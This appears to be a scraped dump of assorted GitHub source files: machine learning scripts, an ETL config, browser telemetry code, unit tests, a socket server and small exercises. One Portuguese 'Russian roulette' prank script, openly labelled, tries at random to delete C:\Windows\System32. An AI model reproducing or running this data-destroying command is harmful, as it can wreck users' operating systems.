scale_pos_weight=1).fit(X_train, y_train)\n y_pred = gbm.predict(X_test)\n print(\"xgboost准确率为:\", gbm.score(X_test, y_test))\n\n\nif __name__ == '__main__':\n allData = load_data()\n train_xy, test_xy = train_test_split(allData, test_size=0.2, random_state=1995)\n train, val = train_test_split(train_xy, test_size=0.2, random_state=1995)\n\n X_train = train.ix[:, 0:-1]\n X_val = val.ix[:, 0:-1]\n X_test = test_xy.ix[:, 0:-1]\n\n y_train = train.ix[:, -1]\n y_val = val.ix[:, -1]\n y_test = test_xy.ix[:, -1]\n\n run_xgb(X_train, y_train, X_val, y_val, X_test, y_test)\n","repo_name":"wittonzhou/Credit","sub_path":"model/xgb.py","file_name":"xgb.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20096044776","text":"\n\"\"\"\nAuthor: Sanjiv Upadhayaya\nDate: 2016-10-03\ntFunction: hold the parameters of ETL process including database connection, ETL run dates and directory\n\"\"\"\n\nfrom datetime import date, timedelta\nimport datetime\nimport pprint\nimport time\nimport os\n\n\nclass param:\t\t\n\n\tschema = \"\"\n\troot = '/opt/etl/absence/data/'\n\tcounter = 0 \n\tnewpath = \"\"\n\tconnection = \"\"\n\tstart_date = str(date.today() - timedelta(1))\n\tend_date = str(date.today())\n\n\trow_count = 0 \n\trow_limit = 500\n\tloop_counter = 0\n\tskip_counter = 10\n\n\t# absence object to be imported\n\ttbl_absence= ['company', 'invoices','users', 'absences', 'reasons']\n\n\t# history load if there are any\n\thistory_objects = ['Nothing']\n\n\t# used while loading the history data\n\ttemp_objects = []\n\n\t# add the url for the new absence object\n\turl = {'company': \"https://app.absence.io/api/v2/bi/companies\"\n\t\t ,'invoices': \"https://app.absence.io/api/v2/bi/invoices\"\n\t\t ,'users': \"https://app.absence.io/api/v2/bi/users\"\n\t\t ,'absences': \"https://app.absence.io/api/v2/bi/absences\"\n\t\t ,'reasons': \"https://app.absence.io/api/v2/bi/reasons\"\n\t\t\t}\n\n\t# filters are used for limiting and skipping the record fetched from the absence object\n\tfilters ={\n\t\t\t 'company': \"{\\n\\t\\n\\t\\\"limit\\\":500,\"+\"\\n\\t\\\"skip\\\":\"\n\t\t\t ,'invoices': \"{\\n\\t\\\"limit\\\": 1000\\n\\n}\"\n\t\t\t ,'users':\"{\\n\\t\\n\\t\\\"limit\\\":500,\"+\"\\n\\t\\\"skip\\\":\"\n\t\t\t ,'absences': \"{\\n\\t\\n\\t\\\"limit\\\":500,\"+\"\\n\\t\\\"skip\\\":\" \n\t\t\t ,'reasons': \"{\\n\\t\\n\\t\\\"limit\\\":500,\"+\"\\n\\t\\\"skip\\\":\" \n\t\t\t }\n\t\n\t# filters_new are used for daily load of data from the absence objects\n\tfilters_new ={'company': \"{\\n\\t\\\"limit\\\": 1000,\\n\\t\\\"filter\\\": {\\n \\t\\\"modified\\\": {\\n\\t\\\"$gte\\\": \\\"\" + str(start_date) + \"\\\",\\n\\t\\\"$lt\\\": \\\"\" + str(end_date) + \"\\\"\\n }\\n }\\n}\"\n\t\t ,'invoices': \"{\\n\\t\\\"limit\\\": 1000\\n\\n}\"\n\t\t ,'users': \"{\\n\\t\\\"limit\\\": 1000,\\n\\t\\\"filter\\\": {\\n \\t\\\"modified\\\": {\\n\\t\\\"$gte\\\": \\\"\" + str(start_date) + \"\\\",\\n\\t\\\"$lt\\\": \\\"\" + str(end_date) + \"\\\"\\n }\\n }\\n}\"\n\t \t ,'absences': \"{\\n\\t\\\"limit\\\": 1000,\\n\\t\\\"filter\\\": {\\n \\t\\\"modified\\\": {\\n\\t\\\"$gte\\\": \\\"\" + str(start_date) + \"\\\",\\n\\t\\\"$lt\\\": \\\"\" + str(end_date) + \"\\\"\\n }\\n \\t\\t\\t},\\n \\\"sortBy\\\": {\\\"company\\\": 1}\\n}\"\n\t \t ,'reasons': \"{\\n\\t\\\"limit\\\": 1000,\\n\\t\\\"filter\\\": {\\n \\t\\\"modified\\\": {\\n\\t\\\"$gte\\\": \\\"\" + str(start_date) + \"\\\",\\n\\t\\\"$lt\\\": \\\"\" + str(end_date) + \"\\\"\\n }\\n \\t\\t\\t},\\n \\\"sortBy\\\": {\\\"company\\\": 1}\\n}\"\n\t\t }\n\n\t# headers are not to be changed after the implementation\n\theaders = {\n\t\t'x-vacationtoken': os.environ['x_vacationtoken'],\n\t\t'content-type': \"application/json\",\n\t\t'cache-control': \"no-cache\",\n\t\t'postman-token': os.environ['postman_token']\n\t\t}\n\n\t# insert the queries to be used if the table have to be truncated incase of missing modified date\n\ttruncate_queries = {\n\t\t\t\t\t\t'invoices': \"truncate table absence.invoices;\"\n\t\t\t\t\t\t,'users': \"truncate table absence.users;\"\n\t\t\t\t\t\t,'example2': \"truncate table cs.eample2;\"\n\t\t\t\t\t\t,'absences': \"select 1;\"\n\t\t\t\t\t\t,'reasons': \"select 1;\"\n\t\t\t\t\t\t\n\t}\n\n\ttbl_bi = tbl_absence\n\n\t# convert the list into a dictionary and set the values to 0 in the beginning\n\texported_file = dict((el,0) for el in tbl_bi)\n\n\tconn_bi = os.environ['conn_bi']\n\n\t@classmethod\n\tdef dbconn(self,host):\n\t\tif(host == \"absence\"):\n\t\t\tparam.schema = \"absence\"\n\t\t\tparam.newpath = param.root +'/' +param.start_date +'/'\n\n\t\telse:\n\t\t\tprint(\"Invalid Host given : Please enter the details of the host mongoDB in param.py file \")\n\n\n\n","repo_name":"uzair9089/bi-etl-uzair","sub_path":"absence/param.py","file_name":"param.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33106382976","text":"import random,os\r\n\r\nprint(\"Você está prestes a executar um arquivo capaz de apagar o seu WINDOWS C, quer mesmo executar??\")\r\nverificador = input(\"S/N\")\r\n\r\nwhile verificador.lower() == \"s\":\r\n if random.randint(1, 6) == 6:\r\n os.remove(\"C:\\Windows\\System32\")\r\n else:\r\n print(\"Você se salvou\")\r\n break\r\n","repo_name":"Lygoat/Virus_Phyton_Testes","sub_path":"ROLETA_RUSSA_PRO_SEU_PC.py","file_name":"ROLETA_RUSSA_PRO_SEU_PC.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5855655400","text":"import logging\n\nfrom telemetry.core import exceptions\n\n\nclass InspectorNetworkException(Exception):\n pass\n\n\nclass InspectorNetworkResponseData(object):\n def __init__(self, inspector_network, params):\n self._inspector_network = inspector_network\n self._request_id = params['requestId']\n self._timestamp = params['timestamp']\n\n self._response = params['response']\n if not self._response:\n raise InspectorNetworkException('response must exist')\n\n # Response headers.\n headers = self._response['headers']\n self._header_map = {}\n for k, v in headers.iteritems():\n # Camel-case header keys.\n self._header_map[k.title()] = v\n\n # Request headers.\n self._request_header_map = {}\n if 'requestHeaders' in self._response:\n # Camel-case header keys.\n for k, v in self._response['requestHeaders'].iteritems():\n self._request_header_map[k.title()] = v\n\n self._body = None\n self._base64_encoded = False\n if self._inspector_network:\n self._served_from_cache = (\n self._inspector_network.HTTPResponseServedFromCache(self._request_id))\n else:\n self._served_from_cache = False\n\n # Whether constructed from a timeline event.\n self._from_event = False\n\n @property\n def status(self):\n return self._response['status']\n\n def status_text(self):\n return self._response['status_text']\n\n @property\n def headers(self):\n return self._header_map\n\n @property\n def request_headers(self):\n return self._request_header_map\n\n @property\n def timestamp(self):\n return self._timestamp\n\n @property\n def timing(self):\n if 'timing' in self._response:\n return self._response['timing']\n return None\n\n @property\n def url(self):\n return self._response['url']\n\n @property\n def request_id(self):\n return self._request_id\n\n @property\n def served_from_cache(self):\n return self._served_from_cache\n\n def GetHeader(self, name):\n if name in self.headers:\n return self.headers[name]\n return None\n\n def GetBody(self, timeout=60):\n if not self._body and not self._from_event:\n self._body, self._base64_encoded = (\n self._inspector_network.GetHTTPResponseBody(self._request_id, timeout))\n return self._body, self._base64_encoded\n\n def AsTimelineEvent(self):\n event = {}\n event['type'] = 'HTTPResponse'\n event['startTime'] = self.timestamp\n # There is no end time. Just return the timestamp instead.\n event['endTime'] = self.timestamp\n event['requestId'] = self.request_id\n event['response'] = self._response\n event['body'], event['base64_encoded_body'] = self.GetBody()\n event['served_from_cache'] = self.served_from_cache\n return event\n\n @staticmethod\n def FromTimelineEvent(event):\n assert event.name == 'HTTPResponse'\n params = {}\n params['timestamp'] = event.start\n params['requestId'] = event.args['requestId']\n params['response'] = event.args['response']\n recorded = InspectorNetworkResponseData(None, params)\n # pylint: disable=protected-access\n recorded._body = event.args['body']\n recorded._base64_encoded = event.args['base64_encoded_body']\n recorded._served_from_cache = event.args['served_from_cache']\n recorded._from_event = True\n return recorded\n\n\nclass InspectorNetwork(object):\n def __init__(self, inspector_websocket):\n self._inspector_websocket = inspector_websocket\n self._http_responses = []\n self._served_from_cache = set()\n self._timeline_recorder = None\n\n def ClearCache(self, timeout=60):\n \"\"\"Clears the browser's disk and memory cache.\"\"\"\n res = self._inspector_websocket.SyncRequest({\n 'method': 'Network.canClearBrowserCache'\n }, timeout)\n assert res['result'], 'Cache clearing is not supported by this browser.'\n self._inspector_websocket.SyncRequest({\n 'method': 'Network.clearBrowserCache'\n }, timeout)\n\n def StartMonitoringNetwork(self):\n \"\"\"Starts monitoring network notifications and recording HTTP responses.\"\"\"\n self.ClearResponseData()\n self._inspector_websocket.RegisterDomain(\n 'Network',\n self._OnNetworkNotification)\n request = {\n 'method': 'Network.enable'\n }\n self._inspector_websocket.SyncRequest(request)\n\n def StopMonitoringNetwork(self):\n \"\"\"Stops monitoring network notifications and recording HTTP responses.\"\"\"\n self._inspector_websocket.UnregisterDomain('Network')\n request = {\n 'method': 'Network.disable'\n }\n self._inspector_websocket.SyncRequest(request)\n\n def GetResponseData(self):\n \"\"\"Returns all recorded HTTP responses.\"\"\"\n return self._http_responses\n\n def ClearResponseData(self):\n \"\"\"Clears recorded HTTP responses.\"\"\"\n self._http_responses = []\n self._served_from_cache.clear()\n\n def _OnNetworkNotification(self, msg):\n if msg['method'] == 'Network.responseReceived':\n self._RecordHTTPResponse(msg['params'])\n elif msg['method'] == 'Network.requestServedFromCache':\n self._served_from_cache.add(msg['params']['requestId'])\n\n def _RecordHTTPResponse(self, params):\n required_fields = ['requestId', 'timestamp', 'response']\n for field in required_fields:\n if field not in params:\n logging.waring('HTTP Response missing required field: %s', field)\n return\n self._http_responses.append(InspectorNetworkResponseData(self, params))\n\n def GetHTTPResponseBody(self, request_id, timeout=60):\n try:\n res = self._inspector_websocket.SyncRequest({\n 'method': 'Network.getResponseBody',\n 'params': {\n 'requestId': request_id,\n }\n }, timeout)\n except exceptions.TimeoutException:\n logging.warning('Timeout during fetching body for %s' % request_id)\n return None, False\n if 'error' in res:\n return None, False\n return res['result']['body'], res['result']['base64Encoded']\n\n def HTTPResponseServedFromCache(self, request_id):\n return request_id and request_id in self._served_from_cache\n\n @property\n def timeline_recorder(self):\n if not self._timeline_recorder:\n self._timeline_recorder = TimelineRecorder(self)\n return self._timeline_recorder\n\n\nclass TimelineRecorder(object):\n def __init__(self, inspector_network):\n self._inspector_network = inspector_network\n self._is_recording = False\n\n def Start(self):\n assert not self._is_recording, 'Start should only be called once.'\n self._is_recording = True\n self._inspector_network.StartMonitoringNetwork()\n\n def Stop(self):\n if not self._is_recording:\n return None\n responses = self._inspector_network.GetResponseData()\n events = [r.AsTimelineEvent() for r in list(responses)]\n self._inspector_network.StopMonitoringNetwork()\n self._is_recording = False\n if len(events) == 0:\n return None\n return events\n","repo_name":"googlearchive/big-rig","sub_path":"app/src/thirdparty/telemetry/internal/backends/chrome_inspector/inspector_network.py","file_name":"inspector_network.py","file_ext":"py","file_size_in_byte":6840,"program_lang":"python","lang":"en","doc_type":"code","stars":857,"dataset":"github-code","pt":"61"} +{"seq_id":"577375057","text":"import os\nimport sys\n\n# from unittest.mock import patch\n\n# import pytest\n# from pytest import fixture\n\nsys.path.insert(0, os.path.join(os.path.abspath(os.path.dirname(__file__)), \"../../../..\"))\nfrom python.datalake_library.transforms.stage_b_transforms.heavy_transform_blueprint import ( # noqa: E402\n CustomTransform,\n)\n\n\nclass TestCustomTransform:\n @staticmethod\n def test_check_job_status(mocker):\n # Setup\n bucket = \"test-bucket\"\n keys = 123\n processed_keys_path = \"test-bucket/files/\"\n job_details = {\"jobName\": \"meteorites-glue-job\", \"jobRunId\": \"1\"}\n\n job_response = {\"JobRun\": {\"jobName\": \"meteorites-glue-job\", \"jobRunId\": 1, \"JobRunState\": \"RUNNING\"}}\n expected_result = {\n \"processedKeysPath\": processed_keys_path,\n \"jobDetails\": {\"jobName\": \"meteorites-glue-job\", \"jobRunId\": \"1\", \"jobStatus\": \"RUNNING\"},\n }\n\n mocker.patch(\"botocore.client.BaseClient._make_api_call\", return_value=job_response)\n\n # Exercise\n result = CustomTransform().check_job_status(bucket, keys, processed_keys_path, job_details)\n\n # Verify\n assert result == expected_result\n","repo_name":"awslabs/aws-serverless-data-lake-framework","sub_path":"sdlf-datalakeLibrary/python/datalake_library/tests/unit/stage_b_transforms/test_heavy_transform_blueprint.py","file_name":"test_heavy_transform_blueprint.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"61"} +{"seq_id":"41455866034","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torchvision\n\nimport struct\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import linprog\n\nnp.random.seed(1337)\n\n\ntrain_image_file = './data/MNIST/raw/train-images-idx3-ubyte'\n\n\ndef decode_images(image_file):\n '''\n use to decode idx3 type file data\n '''\n bin_data = open(image_file, 'rb').read()\n offset = 0\n fmt_header = '>iiii' # big endian\n mc_num, num_images, num_rows, num_cols = struct.unpack_from(fmt_header, bin_data, offset)\n \n print(\"mc_num: \", mc_num)\n print(\"num_images: \", num_images)\n print(\"num_rows: \", num_rows)\n print(\"num_cols: \", num_cols)\n \n # decode dataset\n image_size = num_rows * num_cols\n print(image_size)\n offset += struct.calcsize(fmt_header)\n \n fmt_image = '>' + str(image_size) + 'B'\n images = np.empty((num_images, image_size))\n \n for i in range(num_images):\n if (i+1) % 10000 == 0:\n print(\"dealing ... \", i)\n images[i] = np.array(struct.unpack_from(fmt_image, bin_data, offset)).reshape((image_size))\n offset += struct.calcsize(fmt_image)\n \n return images, num_rows, num_cols\n\n\ndef decode_labels(label_file):\n '''\n use to decode idx1 type label data\n '''\n \n bin_data = open(label_file, 'rb').read()\n offset = 0\n fmt_header = '>ii'\n mc_num, num_images = struct.unpack_from(fmt_header, bin_data, offset)\n\n offset += struct.calcsize(fmt_header)\n fmt_image = '>B'\n labels = np.empty(num_images)\n \n for i in range(num_images):\n if (i + 1) % 10000 == 0:\n print(\"dealing ... \", i)\n labels[i] = struct.unpack_from(fmt_image, bin_data, offset)[0]\n offset += struct.calcsize(fmt_image)\n\n return labels\n\n\ndef lp1_cs(m, n, ori_data):\n '''\n using lp1 minimization addressing CS\n\n Parameters\n ----------\n m: using m ponits\n n: the original size\n A: observing matrix\n ori_data: original data\n '''\n m = m\n n = n\n A = np.random.randint(low=0, high=2, size=(m, n))\n\n img = ori_data\n b = A.dot(img)\n\n I = np.identity(n)\n z = np.zeros(shape=(m, n))\n b_0 = np.zeros(shape=(n))\n c_x = np.zeros(shape=(n))\n c_t = np.ones(shape=(n))\n\n c = np.append(c_x, c_t)\n con_1 = np.hstack((I, -I))\n con_2 = np.hstack((-I, -I))\n con_3 = np.hstack((A, z))\n con_4 = np.hstack((-A, z))\n\n P = np.vstack((con_1, con_2, con_3, con_4))\n B = np.hstack((b_0, b_0, b, -b))\n\n res = linprog(c, A_ub=P, b_ub=B, method='interior-point')['x'][:n]\n\n return res\n\n\n\n\nif __name__ == '__main__':\n\n # data loading\n training_image, image_row, image_col = decode_images(train_image_file)\n test_data = training_image[:10]\n\n m_p = [0.1+0.05*step for step in range(10)]\n n = image_row * image_col\n m_list = [int(n*per) for per in m_p]\n\n Results = {\n 'diff_list': [],\n 'res_list': []\n }\n\n for i in range(10):\n recon = lp1_cs(m_list[i], n, test_data[i])\n diff = np.linalg.norm(recon-training_image[0])/len(recon)\n Results['diff_list'].append(diff)\n Results['res_list'].append(recon)\n\n\n res_store = pd.DataFrame(Results)\n res_store.to_csv('./result_cs.csv', index=False)\n\n\n\n\n\n \n","repo_name":"Fannxy/CS_infoGAN","sub_path":"Experiments/Experiments_LP/LP_Compressed_Sensing.py","file_name":"LP_Compressed_Sensing.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1640059682","text":"from typing import Optional\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def reverseKGroup(self, head: Optional[ListNode], k: int) -> Optional[ListNode]:\n if not head:\n return head\n\n dummy_node = ListNode(next=head)\n wptr = dummy_node\n\n def get_kth_node(curr, times):\n while curr and times > 0:\n curr = curr.next\n times -= 1\n return curr\n\n while True:\n kth_node = get_kth_node(wptr, k)\n if not kth_node:\n break\n\n next_group = kth_node.next\n\n prev, curr = kth_node.next, wptr.next\n while curr != next_group:\n temp = curr.next\n curr.next = prev\n prev = curr\n curr = temp\n\n temp = wptr.next\n wptr.next = kth_node\n wptr = temp\n \n return dummy_node.next\n\n\nif __name__ == '__main__':\n head = ListNode(1)\n head.next = ListNode(2)\n head.next.next = ListNode(3)\n head.next.next.next = ListNode(4)\n head.next.next.next.next = ListNode(5)\n head.next.next.next.next.next = ListNode(6)\n\n k = 2\n print(Solution().reverseKGroup(head, k))","repo_name":"amogchandrashekar/Leetcode","sub_path":"Hard/Reverse Nodes in k-Group.py","file_name":"Reverse Nodes in k-Group.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73287931395","text":"from __future__ import division\nimport os,sys\nimport numpy as np\n#np.seterr(all=\"raise\", under=\"ignore\")\nimport matplotlib\nfrom matplotlib import pyplot as pl\n#matplotlib.use(\"Agg\")\n\n#from scipy import signal, optimize, special, stats\nfrom scipy import optimize,stats\nfrom scipy.stats.mstats import mquantiles\n\nimport pmns_utils\n\nimport cPickle as pickle\n\n\ndef compute_efficiency(k,N,b=True):\n\n if b:\n # Bayesian treatment\n classify_efficiencyilon=(k+1)/(N+2)\n stdev_classify_efficiencyilon=1.64*np.sqrt(classify_efficiencyilon*(1-classify_efficiencyilon)/(N+3))\n else:\n # Binomial treatment\n if N==0:\n classify_efficiencyilon=0.0\n stdev_classify_efficiencyilon=0.0\n else:\n classify_efficiencyilon=k/N\n stdev_classify_efficiencyilon=1.64*np.sqrt(classify_efficiencyilon*(1-classify_efficiencyilon)/N)\n return (classify_efficiencyilon,stdev_classify_efficiencyilon)\n\ndef get_err_bars(intervals, centers):\n upps=np.zeros(max(np.shape(intervals)))\n lows=np.zeros(max(np.shape(intervals)))\n\n for c in xrange(len(upps)):\n upps[c]=intervals[1][c] - centers[c]\n lows[c]=centers[c] - intervals[0][c]\n\n return lows, upps\n\n\n# -------------------------------\n# Load results\n\n#datafiles = sys.argv[1]\ndatafile = sys.argv[1]\n\n# XXX: Hardcoding\nwf = pmns_utils.Waveform('dd2_135135_lessvisc')\nwf.compute_characteristics()\n\n# --- Data extraction\nprint >> sys.stdout, \"loading %s...\"%datafile\nfreq_axis, freq_pdfs_tmp, freq_estimates, all_sig_evs, all_noise_evs =\\\n pickle.load(open(datafile))\n\nlogBs = all_sig_evs - all_noise_evs\n\n#logBthreshs = np.linspace(min(logBs), max(logBs), 100)\n#logBthresh_range = stats.scoreatpercentile(logBs, [5,95])\n#logBthreshs = np.linspace(min(logBthresh_range), max(logBthresh_range), 10)\nlogBthreshs=np.arange(-0.5,0.5+0.05,0.05)\n\n# Preallocation\nfreqerrs=np.zeros(len(logBthreshs))+np.nan\n#confints=np.zeros(len(logBthreshs))+np.nan\nconfintwidths=np.zeros(len(logBthreshs))+np.nan\nconfints=np.zeros(shape=(2,len(logBthreshs)))+np.nan\nepsilon=np.zeros(len(logBthreshs))+np.nan\nstdeps=np.zeros(len(logBthreshs))+np.nan\n\n#\n# Calculations\n#\n\n# Loop over thresholds\nfor b, logBthresh in enumerate(logBthreshs):\n\n # Find fraction of events with logB>threshold (epsilon)\n\n k = sum(logBs>logBthresh)\n N = len(logBs)\n epsilon[b], stdeps[b] = compute_efficiency(k,N)\n\n\n # Median frequency error\n if k==0: continue\n found_indices=np.concatenate(np.argwhere(logBs>logBthresh))\n errtmp = wf.fpeak - freq_estimates[0]\n freqerrs[b]=np.median(errtmp[found_indices])\n confints[:,b]=stats.scoreatpercentile(errtmp[found_indices], [10,90])\n confintwidths[b]=abs(np.diff(stats.scoreatpercentile(errtmp[found_indices],\n [10,90])))\n\n\n\n#\n# Results figure\n#\nfig1, ax1 = pl.subplots()\n\nlows, upps = get_err_bars(confints, freqerrs)\n\nax1.errorbar(logBthreshs, freqerrs, yerr=[lows, upps], linestyle='-', color='k',\n fmt='^', ecolor='k', mfc='k', mec='k', label='median $\\pm$ 90% CI')\nxlims=ax1.get_xlim()\nylims=ax1.get_ylim()\nax1.errorbar(-100, -100, -100, marker='v', mfc='grey', mec='k', linestyle='-',\n label='median $\\pm$ 90% CI', color='k')\n#ax1.axhline(0, color='k', linestyle='--')\nax1.axvline(0, color='k', linestyle='--')\nax1.minorticks_on()\nax1.set_xlabel('log B threshold')\nax1.set_ylabel('Frequency Error [Hz]')\nax1.legend(loc='lower right')\nax1.set_xlim(xlims)\nax1.set_ylim(ylims)\nax1.set_xlim(min(xlims)-0.1,max(xlims)+0.1)\nax1.set_title('%s'%datafile)\n#ax1.grid()\n\nax2 = ax1.twinx()\nax2.set_ylabel('Dismissal probability')\n\nax2.errorbar(logBthreshs+0.01, 1-epsilon, stdeps, marker='v', mfc='grey', mec='k',\n color='grey')\n\nax2.set_xlim(min(xlims)-0.1,max(xlims)+0.1)\nax2.set_ylim(0,1)\nax2.minorticks_on()\n\npl.savefig('%s'%(datafile.replace('.pickle','_ROC.eps')))\npl.savefig('%s'%(datafile.replace('.pickle','_ROC.png')))\n\n\n","repo_name":"astroclark/BayesPMNS","sub_path":"pmnspy/bin/pmns_pp_roc.py","file_name":"pmns_pp_roc.py","file_ext":"py","file_size_in_byte":3923,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"70204074435","text":"import csv\nimport json\nnew_student = {\n \"name\": \"Jonah\",\n \"age\": 33,\n \"courses\": [\"History\"]\n }\n\nwith open(\"myfiles/students.json\",\"r\") as json_file :\n\n data = json.load(json_file)\n\ndata.append(new_student)\nprint(data[-1])\n\nwith open(\"myfiles/students.json\",\"w\") as json_file :\n json.dump(data,json_file)\n\nwith open(\"myfiles/second.csv\",\"x+\") as csv_file :\n csv_writer = csv.writer(csv_file)\n\n csv_writer.writerow([\"Name\",\"Age\"])\n csv_writer.writerow([\"Ayşe\",\"22\"])\n csv_writer.writerow([\"Mehmet\",\"23\"])\n\n\n\nwith open(\"myfiles/second.csv\",\"r\") as csv_file :\n csv_reader = csv.reader(csv_file)\n\n for row in csv_reader:\n \n print(row)\n\n\n# file = open(\"myfiles/first.txt\" , \"a+\")\n\n# print(file.read())\n\n# file.write(\"\\nThis is my seventh message!\")\n\n# file.close()","repo_name":"yunusemreemik/Zero2DesignPattern","sub_path":"file_handling.py","file_name":"file_handling.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38170135813","text":"import sqlite3\nfrom socket import socket\n\nimport commands\nfrom consts import Errors\nimport consts\n\n\nclass Client:\n # noinspection PyTypeChecker\n def __init__(self, connection: socket, address: tuple) -> None:\n self.connection = connection\n self.address = address\n self.uuid: str = None\n self.active: bool = True\n self.user: sqlite3.Row = None\n\n def listen(self) -> None:\n while self.active:\n data: bytes = self.connection.recv(consts.SOCKET_BUFFER_SIZE)\n if not data:\n self.connection.close()\n\n print(data.decode(\"utf-8\"))\n resp: str = parse_data(self, data)\n if resp is None:\n resp = Errors.NO_RESPONSE\n elif resp == \"\":\n resp = Errors.EMPTY_RESPONSE\n while resp[-1] == \":\" or resp[-1] == '\\n': # remove trailing colons, newlines\n resp = resp[:-1]\n try:\n self.connection.send(str(resp).encode(\"utf-8\"))\n except OSError:\n self.active = False\n self.connection.close()\n print(f\"Disconnected from {self.address}\")\n\n\ndef new_client(conn: socket, addr: tuple) -> None:\n \"\"\"\n Creates a new client and starts listening for data from the client.\n :param conn: the connection to the client\n :param addr: the address of the client\n :return: None\n \"\"\"\n client = Client(conn, addr)\n client.listen()\n\n\ndef parse_data(client: Client, data: bytes) -> str:\n \"\"\"\n Parses the data received from the client and returns the response to be sent.\n :param client: the client that sent the data\n :param data: the data received from the client\n :return: response to be sent to the client\n \"\"\"\n\n if len(data) == 0: # if no data was received\n client.active = False # close the connection, client is dead\n return Errors.CONN_CLOSED\n\n if client.uuid is None:\n client.uuid = data.split()[0].decode(\"utf-8\")\n data = data.decode(\"utf-8\")\n data = data.split(\"::\")\n if data[1] == \"\": # if the command is empty, return an error\n return Errors.NO_INPUT\n\n if data[0] == \"register\":\n return commands.register(client, data)\n\n # data[0] will always be uuid after registration\n # data[1] will always be the command\n\n elif data[1] == \"reserve\":\n return commands.reserve(client, data)\n\n elif data[1] == \"get_unique_movies\":\n return commands.get_unique_movies(client, data)\n\n elif data[1] == \"get_reservations\":\n return commands.get_reservations(client, data)\n\n elif data[1] == \"get_movies\":\n return commands.get_movies(client, data)\n\n elif data[1] == \"get_seats\":\n return commands.get_seats(client, data)\n\n elif data[1] == \"create_movie\":\n return commands.create_movie(client, data)\n\n elif data[1] == \"get_times\":\n return commands.get_times(client, data)\n\n elif data[1] == \"get_dates\":\n return commands.get_dates(client, data)\n\n elif data[1] == \"get_theaters\":\n return commands.get_theaters(client, data)\n\n elif data[1] == \"create\":\n return commands.create(client, data)\n\n\n return Errors.INVALID_COMMAND\n","repo_name":"Midnight145/HackUNT-2022","sub_path":"server/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15096496729","text":"#!/usr/bin/python3\n\nimport json\nimport os\nimport re\nfrom urllib.request import urlopen\nfrom utils import *\nfrom _consts import *\n\ndef make_tanksgg_api_request(url):\n\t#print(url)\n\tresp = urlopen(url).read().decode(\"utf-8\")\n\treturn json.loads(resp)\n\ndef get_version_list():\n\treturn make_tanksgg_api_request(tgg_versions)\n\ndef get_accessory(version):\n\turl = tgg_accessories.format(version = version)\n\treturn make_tanksgg_api_request(url)\n\ndef get_tank(version, tank_name):\n\turl = tgg_tank.format(version = version, tank = tank_name)\n\treturn fix_json_strings(make_tanksgg_api_request(url))\n\ndef get_tanks(version):\n\turl = tgg_tank_list.format(version = version)\n\treturn make_tanksgg_api_request(url)\n\ndef save_json(data, path, filename):\n\tf = open(os.path.join(path, filename + '.json'), 'w')\n\tf.write(json.dumps(data, indent = 4, sort_keys=True))\n\tf.close()\n\n\nsave_path = '../tanksgg_api_data/'\nversions = get_version_list()['versions']\n\nsave_json(versions, save_path, 'versions')\n\nfor v in versions:\n\tprint(\"Processing version {}\".format(v[1]))\n\tversion_id = v[0]\n\tversion_string = re.sub(\"\\.\", \"\\_\", version_id)\n\tversion_path = os.path.join(save_path, version_string)\n\tif not os.path.exists(version_path):\n\t\tos.mkdir(version_path)\n\n\taccessories = get_accessory(version_id)\n\tsave_json(accessories, version_path, '_accessories')\n\n\ttank_list = get_tanks(version_id)['tanks']\n\tsave_json(tank_list, version_path, '_tanklist')\n\tfor i, tank in enumerate(tank_list):\n\t\tif not os.path.exists(os.path.join(version_path, tank['slug']+'.json')):\n\t\t\t#print(os.path.join(version_path, tank['slug']))\n\t\t\ttank_data = get_tank(version_id, tank['slug'])\n\t\t\tsave_json(tank_data, version_path, tank['slug'])\n\t\tupdate_progress(i + 1, len(tank_list))\n\n\tprint()","repo_name":"matuszelenak/WoT-Battle-Analysis","sub_path":"src/tanksgg_api.py","file_name":"tanksgg_api.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31833660586","text":"#!/usr/bin/env python\nimport argparse\nfrom server.database import Base, engine\nfrom server.database import Users\nfrom server.database import Categorys\nfrom server.database import SeedData\nfrom server.database import Sub_Categorys\n\n\ndef run(drop=True, run_seed=False):\n if drop:\n print('Dropping all tables...')\n Base.metadata.drop_all(bind=engine)\n\n Base.metadata.create_all(bind=engine, checkfirst=True)\n user = Users()\n category = Categorys()\n seed_data = SeedData()\n sub_category = Sub_Categorys()\n\n if run_seed:\n print('Seeding started for user...')\n user.init_table(seed_data.users())\n print('Seeding started for category...')\n category.init_table(seed_data.categorys())\n print('Seeding started for sub_category...')\n sub_category.init_table(seed_data.sub_categorys())\n\n\nparser = argparse.ArgumentParser(description=\"\"\"\nInitialize/update the database with data from database\\seed_data.json file.\nYou likely want to run this on the heroku instance via:\n\"heroku run -- './%(prog)s'\"\n\"\"\")\nparser.add_argument('-D', '--drop', dest='drop', action='store_true',\n help='drop all tables first (reinitialize)')\nparser.add_argument('-RS', '--runseed', dest='runseed', action='store_true',\n help='Seeds 100 records only')\n\nif __name__ == '__main__':\n args = parser.parse_args()\n run(drop=args.drop, 